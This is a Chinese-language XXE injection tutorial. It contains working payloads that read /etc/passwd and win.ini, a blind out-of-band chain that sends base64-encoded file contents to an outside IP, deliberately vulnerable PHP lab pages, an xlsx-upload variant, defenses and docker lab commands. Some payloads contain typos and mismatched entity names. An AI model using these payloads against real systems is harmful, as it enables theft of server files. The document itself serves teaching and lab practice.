一、XXE漏洞原理
XXE漏洞全称为XML External Entity Injection,即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致用户可以控制外部加载的文件,从而导致漏洞的发生。
XXE漏洞的触发点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
二、漏洞危害
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站、发起dos攻击等危害。
三、漏洞探测
在XXE攻击的场景中,DTD中的根元素通常不会影响攻击代码的执行,因为攻击的重点在于实体的定义和引用,而不是根元素的名称。
1.直接通过内部引用DTD+引用外部实体
<?xml version="1.0" encoding="Is0-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>

第一行的xml声明可以删掉,不影响
2.通过引用外部DTD文档,再引入外部实体
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://115.159.64.94:1234/evil.dtd">
<user><username>&xxe;</username><password>1234</password></user>
evil.dtd
<!ENTITY xxe SYSTEM "file:///etc/passwd">

3.无回显XXE
内部引用(声明)dtd+引用外部参数实体
<!DOcTYPE convert [
<!ENTITY % remote SYSTEM "http://115.159.64.94:1234/evil.dtd">
%remote;%int;%send ;
]>
<user><username>1</username><password>2ad</password></user>
evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://115.159.64.94:1234/?p=%file;'>">
%=%
从payload中能看到连续调用了三个参数实体%remote;%int;%send;,这就是利用先后顺序,%remote先引用,引入外部dtd(攻击服务器上的text.dtd),然后引用%int,%int调用evil.dtd
中定义的% int参数实体的值<!ENTITY % send SYSTEM ‘http://139.9.198.30/?p=%file;’>, %file再引入外部参数实体<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">,最后就是%send的引用。
四、漏洞分类
1.有回显案例
源码:
<?php
header('Content-type: text/html; charset=utf-8');
libxml_disable_entity_loader(false);
if(isset($_POST['xml'])){
$xml = $_POST['xml'];
$dom = new DoMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$data = simplexml_import_dom($dom) ;
echo "result:".$data;// 有回显
}
?>
<html>
<head>
<title>XXE案例</title>
</head>
<body>
<h1>XXE案例</h1>
<form action=""method="post">
<input type="text" name="xml" style="width:300px;
height:150px;">
<input type="submit" value="submit">
</form>
</body>
</html>
在该文件的同级目录创建一个txt文件,文件内容随便写
输入xml测试代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "test.txt">
]>
<root>&xxe;</root>

测试读取windows上的文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>

2.无回显案例
<?php
header('Content-type: text/html; charset=utf-8');
libxml_disable_entity_loader(false);
if(isset($_POST['xml'])){
$xml = $_POST['xml'];
$dom = new DoMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$data = simplexml_import_dom($dom) ;
//echo "result:".$data;// 无回显
}
?>
<html>
<head>
<title>XXE案例无回显</title>
</head>
<body>
<h1>XXE案例无回显</h1>
<form action=""method="post">
<input type="text" name="xml" style="width:300px;
height:150px;">
<input type="submit" value="submit">
</form>
</body>
</html>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://f6ep.callback.red">
]>
<root>&xxe;</root>

五、漏洞利用
1.读取敏感文件
<?xml version="1.0" encoding="IS0-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foO ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><username>&xxe;</username><password>1234</password></user>
六、EXCEL文档XXE
现代Excel文件(xlsx 格式)实际上只是XML文档的zip文件。这称为OfficeOpenXML格式或OOXML。
许多应用程序允许上传文件,若应用程序在解析这些 XML 文件时未禁用外部实体引用,攻击者可通过构造恶意 XML 代码触发 XXE。
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://xxx.com/" >]>
<name>&GVI;</name>
首先新建xlsx文件,然后将其后缀修改为.zip,再将该zip文件解压,打开[Content_Types].xml把测试代码放到第二、三行

然后重新将解压后的文件压缩,再修改文件后缀为xlsx进行上传即可。
七、防御方法
1.禁用外部实体引用:禁用XML解析器中的外部实体引用,或者只允许引用受信任的实体。
2.使用安全的XML解析器:使用安全的XML解析器,例如libxmI2或SAX解析器,这些解析器已经默认禁用了外部实体引用。
3.过滤用户输入:对于从用户接收的XML数据,进行严格的输入验证和过滤,以防止恶意XML文件被解析。
靶场:
docker pull dockerpull.com/betsy0/yjvul-xxel
docker run -d -p 30003:80 --restart=always dockerpull.com/betsy0/yjvul-xxe1